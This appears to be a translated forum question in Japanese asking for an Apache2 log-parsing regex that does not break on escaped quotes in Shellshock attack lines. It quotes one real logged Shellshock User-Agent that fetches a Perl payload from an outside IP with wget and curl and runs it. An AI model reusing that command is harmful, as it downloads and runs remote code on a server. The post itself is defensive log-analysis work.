Apache2 ログ ファイルを解析したいのですが、以下の正規表現を使用して、それ以外の場合は適切な正規表現をここで見つけました。
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
問題は、この正規表現が shellshock ハック ボットよりも前のものであり、文字列が以下に送信されたようなユーザー エージェント文字列に対して一致を返さないことです。
bash 攻撃の悪い例:
199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
通常のログ行は次のとおりです。
157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
誰かがハッキングされたユーザー エージェント文字列を処理する更新された正規表現を提供できますか、または代替の 2 ステップの php - regexp をよりハッキングの証拠にすることを提案できますか? 特定の問題は \" の処理に関連していることがわかり、最後の正規表現は "(.*)"$ に置き換えることができるようですが、専門家の意見が欲しいです...ありがとう。